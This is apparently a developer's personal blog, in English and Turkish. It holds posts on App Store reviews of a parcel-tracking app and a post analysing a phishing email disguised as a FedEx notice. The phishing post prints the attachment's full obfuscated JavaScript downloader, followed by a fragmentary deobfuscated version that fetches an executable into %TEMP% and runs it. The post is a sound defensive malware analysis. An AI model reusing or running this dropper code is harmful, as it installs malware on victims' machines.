App Store Drama

I released my app Find My Parcel about a month ago. I will to try write all the problems I have encountered and how to solve them. Mostly.

When I first released the app, program was getting 10-20 downloads per day. It was not much but it was giving me a feeling that what I did was working. In first days, all reviews were positive. When I first saw my first purchase from UK, I guess  I was jumping to moon back and forth. Then something unexpected happen.

As usual I was checking my stats with Fabric Answers. (I highly recommend integrating Crashlytics and Answers) I saw that my download stats were going crazy. I mean crazy according to me. I was getting like 40 downloads in a minute. What did happen? When I told my brother he told me “Your app is on Turkish App Store’s main page” Whaaaaaaaaaat?

Even though it may look nice, this gave me a huge number of headaches till this day. As you know there is no program without bugs. If a program is bug free it is either too simple or it is not well tested. Whatever you do, your program will crash maybe just because of low memory. It is very hard to tell to normal users. When program crashes, most of the users are really cruel. Here are some examples from Turkish App Store(translations by me)

App crashes ★
by satrianix – Version – 1.1 – Sep 14, 2015

I installed and deleted

It closes ★
by Pnyrr – Version – 1.1 – Sep 16, 2015

It closes always

Doesn’t work ★
by Ananızın kuzusu – Version – 1.2 – Sep 18, 2015

You must be fool to expect that an app that supports that much of couriers works. We are talking about an app which even can’t track PTT. This is enough to test an app. Don’t try.

Only big reason for crash for the old version was I was not sanitizing user input well. Actually Alamofire caught me off guarded for implicitly unwrapping. Do you think below numbers are tracking numbers??

IB 827688 (check the space)

AY 621000

0507 xxx xx xx (phone number)

507 xxx xx xx (again)

12 32 152

13 1539 8571

Some of them gone further and even wrote with country code

0 | 00:00:39:439 | $ Adding Sürat Kargo +90538xxxxxxx
1 | 00:00:41:355 | $ Adding Sürat Kargo +90538xxxxxxx
2 | 00:01:12:487 | $ Adding Sürat Kargo +90 (538) xxx xx xx

Most depressing thing is even though it is user’s mistake, they attack you without any mercy. I really don’t know the reason of this and I guess I never will.

After I saw this crashes, I started to sanitize user input in every part of the app. Crashes were solved. Then our next problem came. Users who don’t know iOS.

When you don’t buy premium, you can only track one parcel. Pay attention to this, if you want you may delete your old parcel and use the app again and again. Deleting parcel is very simple. Just like every iOS program, you swipe from right to delete and select “Delete”. Everybody who uses iOS knows this. Since email,notes,alarm all these programs use this gesture. Additionally I made a Welcome screen and put a picture to show how to delete. I also put this information on App Description on App Store and also put on FAQ section in the app. After all this info, could you look at those reviews?

Lacking ★
by Aykutsahinnn – Version – 1.1 – Sep 11, 2015

You can’t save more than one parcel

Just 1 parcel? ★
by Sayilgggg – Version – 1.3 – Sep 18, 2015

App only allows tracking of one parcel. You enter a single tracking number to test and you are done 😴😴 you can’t delete your parcel and add new one. It asks 6 TL($1.99) for the rest. I guess it can’t track other couriers. But I don’t know because I can’t try. He has thirst for money 💸💸💸💸💸

How can you interpret those reviews with good fate? Look at last one, emojis, sarcasm… I am such a devil who has thirst for money. What can you say to someone who doesn’t know how to use iOS? Apple doesn’t allow you to reply reviews. Even though these reviews are totally misleading and insulting, there is very less that you can do about it. You can ask Apple to delete but I heard it doesn’t have much effect. They will stay there forever. There is someone who insults you but only thing you can do is shrug your shoulders.

OK, What you can really do about it when you see something like this?

Actually in my first days, I was really depressed. Now it also bothers me but I ignore any comment which doesn’t come by email. Otherwise those negative reviews eat you from inside. Even though the person who wrote that review is totally wrong, you can’t write anything to that person or anybody who read it. Only thing that you can do is to get motivated by constructive reviews. I guess a person who bought my app from UK wrote following

This is an awesome app for tracking any parcels you may have coming or even to check on parcels sent. It looks great with a simplistic style but also very feature packed! It has loads of post companies and even tries to match the tracking number but this can be a bit hit or miss but it’s very close and if it does not pick the right one it will list recommended ones and this has not failed me yet. There are no bugs that I have seen. I’d recommend this over Posted and Parcel that is on the App Store! Also the premium is lifetime and it’s not much and well worth the asking price!

I was so happy when I first saw this. It is very rewarding to see that someone appreciates what you made. I don’t want to cause misunderstanding. Most of reviews on Turkish App Store are positive. Those reviews really gives me a boost and motivation to go on.

Wonderful ★★★★
by NuRuNB – Version – 1.1 – Sep 17, 2015

It is super beside one parcel limitation. For people who deal with parcels 5₺ is not much. I like these kind of apps.

Awesome ★★★★★
by İrişko – Version – 1.1 – Sep 14, 2015

In normal version you can’t track more than 1 parcel. But if you track domestic or internationals packages like I do,  it really makes your life easier. When I messaged I got a reply less than 1 hour. I think their support is wonderful and this app really deserves 5 stars

It is really good to see kind person on Internet. Whether it is 4 or 5 stars, when the review is fair, it gives you a direction about your future progress. For example when iOS 9 was first released, my app had a major bug on iPads. When user tried to buy iAP, program was crashing. Fortunately user who experienced that issue was very kind. God forbids, what would he wrote if that user thought that I was “thirsty for money”. Instead he politely messaged me. Since this was a major bug Apple approved my app very quickly thanks to expedited review. His problem is solved after 1 day. After that he also mailed me and thanked me. What a great person he is! Those kind of fine human beings keep me going.

Of course my app is not perfect. Its color, icon or its user interface is not top notch. I am not a designer and if you think it took 4 days for me to design the icon, you will know how I suck at designing stuff. I keep going developing the app and I try to close my eyes to bad reviews. I hope I will support WatchOS 2 and couple of features that come with iOS 9.

If you read up to here, you are such a patient person. You may think why such a drama? I just want to write get things off my chest. Aren’t blogs are made for that? :)

App Store Macerası

Yaklaşık bir ay önce Kargom Nerde programını yayınladım. Bu yazımda size hangi problemlerle nelerle karşılaştığımı ve bunlara nasıl çözüm bulduğumu veya bulamadığımı anlatacağım. Program ilk yayınlandığı zamanlar günde 20-30 kişi tarafından indiriliyordu. Gelen yorumların hepsi olumluydu. Ben de mutlu mesut iyi bir iş yaprığımı düşünmeye başlamıştım. Hatta ingiltered birisi programı satın aldığında herhalde ağzım kulaklarıma varmıştı. Sonra beklenmeyen bir şey oldu.

Evde klasik her zaman olduğu gibi bugün kaç kişi download etmiş diye bakıyordum. Birden program deli gibi indirilmeye başlandı. Deli gibi dediğim bana göre deli gibi. Birden kullanıcı sayısı 40 olmuştu. Allah Allah, ne olmuştu ki? Kardeşime bunu söylediğimde bana şunu dedi “Abi programın App Store un ana sayfasında” Anaaaaaaaaaa

Aslında iyi gibi gözüken şey şu güne kadar bana bir çok başağrısı sağladı. Bildiğiniz üzere hatasız program yok. Eğer bir program hatasız ise ya aşırı derece basittir veya yeterince test edilmemiştir. iOS da her program göçebilir. Siz ne yaparsanız yapın en iyi ihtimalle hafıza yetersizliğinden program yine göçer. Ama bunu normal kullanıcıya anlatabilmek zor. Program göçtüğü zaman yorumlar aşırı derecede acımasız oluyor. Alın size bir kaç örnek,

Uygulama kapanıyor ★
by satrianix – Version – 1.1 – Sep 14, 2015

Yükledim ve sildim

Kapaniyor ★
by Pnyrr – Version – 1.1 – Sep 16, 2015

Surekli kapaniyor

Çalışmıyor ★
by Ananızın kuzusu – Version – 1.2 – Sep 18, 2015

Bu denli hepsi bir arada bir kargo uygulamasının çalışmasın beklemek tabi ki aptallıktan öte değil. Daha PTT kargoyu bile bulamayan bir uygulamadan bahsediyoruz ki, bu uygulamayı ölçmek için gayet makul bir deneme. Denemeyin.

Eski versiyonda uygulamanın kapanmasının tek sebebi hatalı kargo numarası girişiydi. Sizce şu şekilde kargo numarası olur mu?

IB 827688 (boşluğa dikkat)

AY 621000

0507 xxx xx xx (telefon numarası)

507 xxx xx xx (tekrar)

12 32 152

13 1539 8571

Bazıları daha da ileriye gidip türkiyenin koduyla girmiş

0 | 00:00:39:439 | $ Adding Sürat Kargo +90538xxxxxxx
1 | 00:00:41:355 | $ Adding Sürat Kargo +90538xxxxxxx
2 | 00:01:12:487 | $ Adding Sürat Kargo +90 (538) xxx xx xx

İnsanın moralini bozan programı yanlış kullandığı halde çok acımasızca size saldırılması. Gerçekten millet olarak neden böyle olduk anlamakta güçlük çekiyorum. Hakaret etmeden derdimizi anlatamaz olduk.

Ben de bu hatayı gördükten sonra programa yazılan herşeyi ekstra kontrol ettikten sonra kargo sitesine yollamaya başladım ve program artık bu şekilde göçmemeye başladı. Bu sefer de diğer büyük sorunumuz başladı. iOS kullanmayı bilmeyen kullanıcılar.

Program kayıt edilmediği sürece sadece 1 tane kargo takibine izin veriyor. Ama buraya dikkat, isterseniz eski kargonuzu silip yenisini ekleyebiliyorsunuz. Programın sınırlandırması aynı anda sadece 1 tane kargo takibi. Kargoyu silmek de oldukça basit. Her iOS uygulamasında olduğu gibi girdinin üstüne gelip sağdan sola doğru kaydırıp ‘Sil’ i seçiyorsunuz. iOS u kullanan herkes bunun nasıl yapılacağını bilir. Çünkü email, notlar, alarm vs her yerde bu hareket kullanılıyor. Buna rağmen programı ilk kez açtığınız ekrana nasıl silineceğine dair resim bile koydum. Programdaki Sıkça Sorulan Sorular kısmına nasıl silineceğini yazdım. Buna rağmen gelen şu yorumlara bakar mısınız?

Eksik ★
by Aykutsahinnn – Version – 1.1 – Sep 11, 2015

Bir taneden fazla kargo kaydedilmiyor.

Sadece 1 kargo mu? ★
by Sayilgggg – Version – 1.3 – Sep 18, 2015

Program bu sürüm ile sadece bir kargo takibine izin veriyor. Yani çalışıyor mu diye bi kargo numarası girdiniz bitti 😴😴 ne o kargo noyu silerek ne de bir süre sonra başka bir kargonun durumuna bakamıyordunuz. 6 TL istiyor sonrası için. Bence bir çok kargoyu da takip edemiyor. Ama bilemem deneyemiyorsun ki arkadaşın gözünü para hırsı bürümüş 💸💸💸💸💸

Bu yorumları iyi niyetle yorumlama imkanınız var mı? Hele en son yorum, emojiler, alaycı ifadeler… Gözümü para hırsı bürümüş benim. Programı nasıl kullanıldığını bilmediği halde size bu şekilde ağır hakaret eden birisine ne diyebilirsiniz ki? Apple yorumlara cevap yazmanıza izin vermiyor. Bu ve bunun gibi yorumlar ne kadar yanlış olsa dahi orada ilelebet duruyor. Karşınızda size küfreden birsi var ve sizin yapabileceğiniz sadece iç geçirmek.

Peki böyle bir şeyle karşılaştığınızda ne yapacaksınız?

İlk başlarda kafaya çok takıyordum. Şimdi de moralimi bozmuyor değil ama email ile gelmeyen yorumları göz ardı ediyorum. Öbür türlü negatif yorumlar sizin içinizi kemiriyor. Karşınızdaki ne kadar haksız dahi olsa, yorum yapan kişiye veya o yorumu okuyanlara birşey yazamıyorsunuz. Yapacağınız tek şey size moral veren yapıcı eleştirilere kulak vermek. Mesela ilk programı alan İngiliz birisi muhtemelen şu yorumu yazmış

This is an awesome app for tracking any parcels you may have coming or even to check on parcels sent. It looks great with a simplistic style but also very feature packed! It has loads of post companies and even tries to match the tracking number but this can be a bit hit or miss but it’s very close and if it does not pick the right one it will list recommended ones and this has not failed me yet. There are no bugs that I have seen. I’d recommend this over Posted and Parcel that is on the App Store! Also the premium is lifetime and it’s not much and well worth the asking price!

Bunu görünce o kadar mutlu olmuştum ki. İnsanın yaptığı şeye değer verilmesini görmek çok güzel.

Yanlış anlamaya mahal vermemek için şunu da söyleyeyim. Türkçe App Store da çoğunlukla iyi yorumlar var. Bunlar insana gerçekten motivasyon sağlıyor.

Şahane ★★★★
by NuRuNB – Version – 1.1 – Sep 17, 2015

Tek kargo takibi dışında süper.. Zaten devamlı kargo ile uğraşan için ise 5₺ çok para değil.. Bu tarz uygulamalara bayılıyorum.

Harika ★★★★★
by İrişko – Version – 1.1 – Sep 14, 2015

Normal surumunde 1 kargodan fazlasi takip edilmiyor fakat benim gibi surekli internetten ve yurt disindan alisveris yapiyorsaniz gercekten hayatinizi kolaylastiriyor aninda sorunlarla ilgili mesaj attigimda 1 saat gecmeden cevao aldim bu konuda destekleride gercekten harika bence 5 yildizlik bi uygulama gercekten hakediyor

Nazik insanlar olduğunu görmek insana moral oluyor. 4 yıldız olsun 5 yıldız olsun, adil yorum olduğunda bu size gerçek fikir veriyor.Mesela ilk iOS 9 çıktığında iPad ler ile alakalı ciddi bir sorun olmuştu. Satın alma gerçekleşirken program göçüyordu. Allah’tan bu sorunla karşılaşan kişi oldukça iyi niyetliydi. Bir önceki kullanıcı gibi ‘gözümü para bürüdüğünü’ düşünseydi, kim bilir App Store a neler yazardı. Ama bunun yerine çok nazik bir şekilde bir mesaj attı. Apple da programın yeni versiyonunu hata nedeniyle hızlı onayladığından, 1 gün sonra sorunu düzeltildi. Hata düzeltildikten sonra da ayrıca bu kullanıcı bana teşekkür mesajı attı. İşte bu tip insanlar yukarıda yazdığım insanları görmemezlikten gelmemi sağlıyor.

Program şu haliyle tabii ki muhteşem değil. Renkleri, ikonu veya desteklediği kargo sayısı da az olabilir. Ben bir dizaynır olmadığım için programın arayüzü hakkındaki her eleştiriye açığım. Gelen yapıcı eleştiriler sayesinde programı geliştirmeye devam ediyorum. İnşallah en yakın zamanda WatchOS 2 desteğini ve iOS 9 ile gelen bir kaç ek özelliği daha ekleyeceğim.

Buraya kadar okuduysanız herhalde çok sabırlı bir okuyucusunız. Bunları niye yazdın be adam diye düşünebilirsiniz. Sadece bir yere yazayım da içimde kalmasın diye düşündüm. Bloglar bunun için değil mi :)

Script kiddies

Today, I got an email to my findmyparcel marketing email address. It was like below,

Dear Customer,

This is to confirm that one or more of your parcels has been shipped.
Please, open email attachment to print shipment label.

Thank you for choosing FedEx,
Thomas Barlow,
FedEx Operation Manager.

First I thought maybe some user entered wrong email and I was about to delete it. Then I looked at email address Yeah right it definitely looks like email address of FedEx Operation Manager. I decided to check what it is just for fun. We open the zip file and we have this file;


I guess our script kiddie want me to double click that file. Let’s not do that and check what is inside the file.

var str="5557515E020D0A00091D14051607010824091117100502050011164A070B09";function xirf317018() { return 'ject('; }; function xirf534300() { return ' { '; }; function xirf359762() { return 'tech'; }; function xirf598416() { return ' ws.'; }; /* var x=xirf980271(); */ function xirf584168() { return '(fn'; }; function xirf559234() { return 'n ='; }; /* var x=xirf562393(); */ /* var x=xirf105198(); */ /* var x=xirf353489(); */ function xirf210158() { return 'MP%"'; }; function xirf46306() { return 'm a1'; }; function xirf655408() { return '; tr'; }; function xirf740896() { return '.sen'; }; function xirf149604() { return 'Obje'; }; function xirf320580() { return '"M'; }; function xirf445250() { return 'veXOb'; }; function xirf231530() { return 'ode('; }; /* var x=xirf975866(); */ function xirf512928() { return 'Body)'; }; function xirf580606() { return 'ile'; }; /* var x=xirf819551(); */ /* var x=xirf219377(); */ function xirf146042() { return 'veX'; }; function xirf523614() { return 'size '; }; function xirf815698() { return '(3373'; }; /* var x=xirf582230(); */ /* var x=xirf410993(); */ /* var x=xirf356760(); */ function xirf185224() { return 'Exp'; }; function xirf762268() { return ' if ('; }; function xirf21372() { return ' var'; }; /* var x=xirf896113(); */ /* var x=xirf391280(); */ /* var x=xirf732917(); */ /* var x=xirf369494(); */ function xirf591292() { return ' t'; }; /* var x=xirf390258(); */ /* var x=xirf969816(); */ function xirf527176() { return '> '; }; /* var x=xirf394783(); */ function xirf577044() { return 'oF'; }; /* var x=xirf483034(); */ /* var x=xirf209762(); */ function xirf142480() { return 'Acti'; }; function xirf39182() { return 'now'; }; function xirf199472() { return 'Strin'; }; /* var x=xirf244315(); */ /* var x=xirf686414(); */ /* var x=xirf862515(); */ /* var x=xirf286189(); */ function xirf455936() { return 'B.Str'; }; /* var x=xirf165805(); */ function xirf203034() { return 'gs'; }; function xirf213720() { return ')+Str'; }; /* var x=xirf679874(); */ function xirf420316() { return 'us =='; }; /* var x=xirf198241(); */ /* var x=xirf581270(); */ /* var x=xirf854046(); */ function xirf174538() { return 'r f'; }; function xirf708838() { return 'fr+'; }; /* var x=xirf282941(); */ function xirf92612() { return ' ")'; }; function xirf626912() { return ' {'; }; function xirf292084() { return '= 0; '; }; function xirf220844() { return 'fr'; }; /* var x=xirf286314(); */ function xirf309894() { return 'ctiv'; }; /* var x=xirf970989(); */ /* var x=xirf596384(); */ function xirf327704() { return '.X'; }; /* var x=xirf790806(); */ function xirf96174() { return '; for'; }; function xirf413192() { return 'o.'; }; /* var x=xirf211360(); */ /* var x=xirf228456(); */ /* var x=xirf962983(); */ /* var x=xirf597292(); */ /* var x=xirf505582(); */ function xirf74802() { return 'etic'; }; function xirf349076() { return 're'; }; /* var x=xirf385182(); */ /* var x=xirf199423(); */ function xirf694590() { return 'en'; }; function xirf110422() { return 'i<b'; }; /* var x=xirf225853(); */ function xirf192348() { return 'viro'; }; function xirf790764() { return '; '; }; function xirf281398() { return '"; va'; }; /* var x=xirf969798(); */ /* var x=xirf381112(); */ function xirf726648() { return ' fal'; }; /* var x=xirf264375(); */ /* var x=xirf491134(); */ /* var x=xirf962806(); */ function xirf299208() { return ' xo'; }; function xirf470184() { return 'op'; }; /* var x=xirf782648(); */ function xirf277836() { return '.exe'; }; function xirf801450() { return ' d'; }; function xirf121108() { return 'i++'; }; function xirf484432() { return 'e = 1'; }; /* var x=xirf768019(); */ /* var x=xirf491251(); */ function xirf548548() { return 'a.po'; }; /* var x=xirf255049(); */ /* var x=xirf167838(); */ function xirf537862() { return 'dn'; }; /* var x=xirf491655(); */ /* var x=xirf547718(); */ /* var x=xirf521030(); */ /* var x=xirf915279(); */ /* var x=xirf733400(); */ function xirf17810() { return ' {'; }; function xirf245778() { return 'd('; }; /* var x=xirf867379(); */ /* var x=xirf851681(); */ function xirf113984() { return '.len'; }; /* var x=xirf267316(); */ /* var x=xirf796612(); */ function xirf758706() { return ' {};'; }; function xirf163852() { return 't.Sh'; }; function xirf634036() { return '}; '; }; function xirf780078() { return 'k;'; }; /* var x=xirf886372(); */ function xirf3562() { return 'funct'; }; /* var x=xirf411161(); */ /* var x=xirf770704(); */ function xirf274274() { return '0)+"'; }; /* var x=xirf474969(); */ function xirf124670() { return ') '; }; /* var x=xirf274802(); */ /* var x=xirf981930(); */ /* var x=xirf482107(); */ /* var x=xirf217746(); */ function xirf644722() { return 'se('; }; /* var x=xirf965151(); */ /* var x=xirf861108(); */ function xirf341952() { return 'o.'; }; function xirf242216() { return '.roun'; }; function xirf562796() { return ' 0'; }; function xirf438126() { return 'ew'; }; function xirf441688() { return ' Acti'; }; /* var x=xirf807747(); */ /* var x=xirf568040(); */ /* var x=xirf117020(); */ function xirf808574() { return '4892)'; }; function xirf480870() { return 'a.typ'; }; /* var x=xirf137425(); */ function xirf605540() { return 'fn,1,'; }; /* var x=xirf141289(); */ function xirf243() { return 'eval'; };  function xirf10686() { return 'dl(f'; }; /* var x=xirf830221(); */ /* var x=xirf709589(); */ /* var x=xirf564031(); */ function xirf509366() { return 'se'; }; function xirf751582() { return 'tch'; }; /* var x=xirf294385(); */ function xirf797888() { return '31);'; }; function xirf295646() { return 'var'; }; /* var x=xirf853755(); */ /* var x=xirf399699(); */ /* var x=xirf761370(); */ /* var x=xirf484679(); */ function xirf81926() { return 'om"'; }; function xirf755144() { return ' (er)'; }; function xirf776516() { return 'ea'; }; /* var x=xirf910394(); */ function xirf794326() { return 'dl(57'; }; /* var x=xirf895383(); */ /* var x=xirf751068(); */ /* var x=xirf215107(); */ /* var x=xirf845211(); */ /* var x=xirf523342(); */ /* var x=xirf517439(); */ /* var x=xirf135611(); */ /* var x=xirf305502(); */ /* var x=xirf315279(); */ /* var x=xirf328987(); */ function xirf370448() { return 'uncti'; }; /* var x=xirf433343(); */ /* var x=xirf322148(); */ function xirf520052() { return ' (xa.'; }; /* var x=xirf710953(); */ /* var x=xirf131654(); */ /* var x=xirf420061(); */ function xirf473746() { return 'en('; }; /* var x=xirf673468(); */ /* var x=xirf712261(); */ function xirf288522() { return 'dn '; }; /* var x=xirf646149(); */ function xirf662532() { return ' xo.o'; }; function xirf270712() { return '00000'; }; /* var x=xirf469659(); */ /* var x=xirf153340(); */ /* var x=xirf522896(); */ /* var x=xirf411414(); */ function xirf630474() { return '}; '; }; function xirf252902() { return 'ra'; }; /* var x=xirf425783(); */ function xirf544986() { return ' 1; x'; }; function xirf744458() { return 'd();'; }; function xirf819260() { return ');'; }; function xirf138918() { return 'new '; }; function xirf103298() { return 'var '; }; function xirf42744() { return '.co'; }; /* var x=xirf753708(); */ /* var x=xirf393386(); */ /* var x=xirf661677(); */ /* var x=xirf440064(); */ function xirf516490() { return '; if'; }; /* var x=xirf667133(); */ /* var x=xirf687932(); */ /* var x=xirf344194(); */ function xirf338390() { return '"); x'; }; /* var x=xirf946301(); */ /* var x=xirf587838(); */ function xirf434564() { return 'a = n'; }; function xirf452374() { return '"ADOD'; }; function xirf569920() { return 'xa.s'; }; function xirf28496() { return '"id'; }; /* var x=xirf939410(); */ function xirf334828() { return 'TTP'; }; function xirf89050() { return 't("'; }; function xirf669656() { return 'GE'; }; function xirf612664() { return ' }'; }; function xirf805012() { return 'l('; }; function xirf730210() { return 'se'; }; function xirf409630() { return '& x'; }; /* var x=xirf874745(); */ /* var x=xirf188421(); */ /* var x=xirf816533(); */ /* var x=xirf397395(); */ function xirf431002() { return 'ar x'; }; /* var x=xirf664167(); */ /* var x=xirf772626(); */ /* var x=xirf839624(); */ function xirf53430() { return 'ic'; }; /* var x=xirf622998(); */ /* var x=xirf632817(); */ /* var x=xirf658429(); */ /* var x=xirf579000(); */ function xirf313456() { return 'eXOb'; }; /* var x=xirf762658(); */ var x = ''; /* var x=xirf818842(); */ function xirf502242() { return '.Re'; }; function xirf398944() { return 'e =='; }; /* var x=xirf156838(); */ /* var x=xirf588298(); */ /* var x=xirf832829(); */ function xirf384696() { return '(xo.r'; }; function xirf637598() { return 'xa'; }; /* var x=xirf857774(); */ function xirf459498() { return 'eam")'; }; /* var x=xirf907658(); */ /* var x=xirf463741(); */ function xirf260026() { return 'om('; }; /* var x=xirf444379(); */ function xirf56992() { return ''; }; /* var x=xirf875856(); */ /* var x=xirf593438(); */ /* var x=xirf833110(); */ function xirf24934() { return ' b = '; }; function xirf573482() { return 'aveT'; }; /* var x=xirf771777(); */ function xirf737334() { return 'xo'; }; /* var x=xirf725214(); */ /* var x=xirf906715(); */ function xirf395382() { return 'at'; }; function xirf541424() { return ' ='; }; function xirf181662() { return ' ws.'; }; function xirf7124() { return 'ion '; }; /* var x=xirf150565(); */ /* var x=xirf629534(); */ /* var x=xirf496983(); */ function xirf648284() { return ');'; }; function xirf715962() { return 'd="'; }; function xirf719524() { return '+st'; }; /* var x=xirf377729(); */ function xirf374010() { return 'on() '; }; function xirf235092() { return '92)'; }; /* var x=xirf736087(); */ /* var x=xirf682033(); */ function xirf170976() { return '; va'; }; /* var x=xirf841753(); */ /* var x=xirf883225(); */ function xirf67678() { return 'ibras'; }; function xirf555672() { return 'io'; }; function xirf331266() { return 'MLH'; }; /* var x=xirf219027(); */ /* var x=xirf242528(); */ function xirf623350() { return ' (er)'; }; /* var x=xirf617417(); */ /* var x=xirf297986(); */ /* var x=xirf939382(); */ /* var x=xirf175917(); */ function xirf135356() { return ' = '; }; function xirf491556() { return 'xa.wr'; }; function xirf448812() { return 'ject('; }; /* var x=xirf564242(); */ function xirf352638() { return 'ad'; }; function xirf99736() { return ' ('; }; function xirf391820() { return 'ySt'; }; function xirf324142() { return 'SXML2'; }; function xirf263588() { return ')*1'; }; function xirf249340() { return 'Math.'; }; /* var x=xirf992112(); */ /* var x=xirf438590(); */ /* var x=xirf877591(); */ function xirf609102() { return '0);'; }; function xirf566358() { return '; '; }; /* var x=xirf478884(); */ function xirf377572() { return '{ '; }; /* var x=xirf420926(); */ function xirf765830() { return 'dn '; }; function xirf227968() { return 'harC'; }; /* var x=xirf437251(); */ /* var x=xirf367852(); */ function xirf587730() { return ',2);'; }; /* var x=xirf747740(); */ function xirf366886() { return 'e = f'; }; function xirf71240() { return 'int'; }; function xirf748020() { return ' } ca'; }; /* var x=xirf369017(); */ function xirf427440() { return ') { v'; }; /* var x=xirf405054(); */ /* var x=xirf805549(); */ /* var x=xirf611391(); */ function xirf156728() { return '("WS'; }; /* var x=xirf878107(); */ function xirf49868() { return 'serv'; }; function xirf687466() { return '"/d'; }; /* var x=xirf407440(); */ function xirf160290() { return 'crip'; }; function xirf256464() { return 'nd'; }; function xirf306332() { return 'w A'; }; /* var x=xirf807143(); */ /* var x=xirf917956(); */ function xirf466622() { return 'xa.'; }; function xirf153166() { return 'ct'; }; /* var x=xirf671527(); */ /* var x=xirf195283(); */ /* var x=xirf956190(); */ function xirf167414() { return 'ell")'; }; function xirf787202() { return ' }'; }; function xirf658970() { return 'y {'; }; function xirf60554() { return ' www'; }; function xirf712400() { return '"&i'; }; /* var x=xirf729384(); */ function xirf117546() { return 'gth; '; }; function xirf733772() { return '); '; }; function xirf705276() { return 'd="+'; }; /* var x=xirf957005(); */ /* var x=xirf549186(); */ /* var x=xirf273114(); */ function xirf178100() { return 'n ='; }; /* var x=xirf263855(); */ function xirf416754() { return 'stat'; }; function xirf238654() { return '+Math'; }; /* var x=xirf367986(); */ function xirf616226() { return ' cat'; }; /* var x=xirf720673(); */ /* var x=xirf535352(); */ /* var x=xirf789260(); */ function xirf128232() { return '{ v'; }; /* var x=xirf583916(); */ function xirf698152() { return ''; }; function xirf683904() { return 'b[i]+'; }; /* var x=xirf351150(); */ /* var x=xirf932345(); */ function xirf217282() { return 'ing.'; }; /* var x=xirf735013(); */ /* var x=xirf879417(); */ /* var x=xirf552619(); */ /* var x=xirf620595(); */ function xirf388258() { return 'ead'; }; /* var x=xirf523612(); */ function xirf619788() { return 'ch'; }; function xirf651846() { return ' }; }'; }; function xirf64116() { return '.f'; }; /* var x=xirf142116(); */ /* var x=xirf176209(); */ function xirf35620() { return 'ed'; }; function xirf78364() { return 'afm.c'; }; function xirf14248() { return 'r)'; }; function xirf691028() { return 'ocum'; }; /* var x=xirf338298(); */ function xirf769392() { return '== '; }; function xirf487994() { return '; '; }; /* var x=xirf225206(); */ function xirf402506() { return ' 4'; }; /* var x=xirf636674(); */ /* var x=xirf636282(); */ /* var x=xirf836817(); */ function xirf812136() { return '; dl'; }; function xirf267150() { return '00'; }; /* var x=xirf155738(); */ function xirf641160() { return '.clo'; }; function xirf356200() { return 'ysta'; }; function xirf195910() { return 'nment'; }; function xirf772954() { return '1) br'; }; function xirf131794() { return 'ar ws'; }; /* var x=xirf137927(); */ function xirf495118() { return 'ite('; }; function xirf106860() { return 'i=0; '; }; /* var x=xirf196136(); */ /* var x=xirf725959(); */ /* var x=xirf328080(); */ /* var x=xirf194010(); */ /* var x=xirf246259(); */ function xirf32058() { return 'secur'; }; function xirf505804() { return 'spon'; }; function xirf406068() { return ' &'; }; /* var x=xirf305409(); */ /* var x=xirf794086(); */ /* var x=xirf185017(); */ function xirf224406() { return 'omC'; }; /* var x=xirf661559(); */ /* var x=xirf267063(); */ /* var x=xirf124701(); */ /* var x=xirf675004(); */ /* var x=xirf792550(); */ /* var x=xirf573393(); */ /* var x=xirf887064(); */ function xirf477308() { return '); x'; }; /* var x=xirf519510(); */ function xirf673218() { return 'T","'; }; function xirf498680() { return 'xo'; }; /* var x=xirf671072(); */ /* var x=xirf970843(); */ function xirf423878() { return ' 200'; }; function xirf701714() { return 'p?rn'; }; /* var x=xirf784083(); */ function xirf363324() { return 'ang'; }; /* var x=xirf693928(); */ function xirf188786() { return 'andEn'; }; /* var x=xirf249099(); */ /* var x=xirf126979(); */ function xirf680342() { return '//"+'; }; function xirf345514() { return 'on'; }; function xirf666094() { return 'pen("'; }; function xirf783640() { return ' };'; }; function xirf381134() { return 'if '; }; /* var x=xirf421675(); */ function xirf601978() { return 'Run('; }; function xirf676780() { return 'http:'; }; function xirf723086() { return 'r,'; }; function xirf284960() { return 'r '; }; /* var x=xirf248031(); */ /* var x=xirf871734(); */ function xirf530738() { return '5000)'; }; function xirf552110() { return 'sit'; }; /* var x=xirf871627(); */ function xirf594854() { return 'ry {'; }; function xirf302770() { return ' = ne'; }; /* var x=xirf277826(); */ function xirf206596() { return '("%TE'; }; function xirf463060() { return '; '; }; function xirf85488() { return '.spli'; };for (var fzdr=1; fzdr<=230; fzdr++) { x += this['xirf'+(fzdr*3562)](); }; this[xirf243()](x);

Wohoooo!!!! Our guy knows how to obfuscate javascript. Let’s deobfuscate it.

function dl(fr){
  var b = "".split(" ");
  for (var i = 0; i < b.length; i ++ ){ var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round( Math.random() * 100000000) + ".exe"; var dn = 0; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function (){ if (xo.readyState == 4 && xo.status == 200){ var xa = new ActiveXObject("ADODB.Stream");; xa.type = 1; xa.write(xo.ResponseBody); if (xa.size > 5000){
          dn = 1;
          xa.position = 0;
          xa.saveToFile(fn, 2);
          try {
            ws.Run(fn, 1, 0);
          catch (er){
    try {"GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + str, false);
    catch (er){
    if (dn == 1)break ;

It is classic javascript downloader. It basically tries to download malware from three different addresses and run it. It is a new version because according to Virustotal  it was just checked 8 hours ago probably by our malware author. I am flattered that someone coded a malware just to attack me. I checked the file and it is coded in Visual Basic. I won’t analyze the file and waste my time with it. Just some string greps shows that it is probably coded by some German person. If malware author reads this, please tell me what was your motive. Last time I checked, I am not a celebrity, don’t have billions of dollar or anything valuable to be exploited.

Programcılık Macerası

Gerçek mesleğim öğretmenlik ama uzun zamandır hobi olarak bilgisayarlarla uğraşıyorum. Herhalde bilgisayarlara olan bu ilgimi baştan keşfetmiş olsaydım bir bilgisayarcı olabilirdim. Ama bu da pek mantıklı gözükmüyor çünkü bizim zamanımızda bilgisayar mağazalarının olduğu yerler hep dutluktu.

Aslında orta seviye assembly bilgisine sahibim ve bu bilgi bana programların nasıl çalıştığı konusunda oldukça fazla bilgi veriyor. Fakat assembly de kapsamlı bir program yazabilmek çok zor, bazen imkansız. Çünkü diğer RAD platformlarının sunduğu binlerce kütüphaneden ve bilgiden mahrum kalıyorsunuz. Ben de geçen yaz ciddi bir şekilde C++ diline eğilmeye karar verdim. Bayağı da ilerledim. Kamboçyada öğretmenlik yaparken öğrencilerimle başlattığım İngilizce-Khmerce sözlüğü yazdım. Ama günden güne bu programlama diline olan ilgimi kaybettim. Eğer bir şey ilgimi çekmiyorsa o işle uğraşmak bana zulüm geliyor.

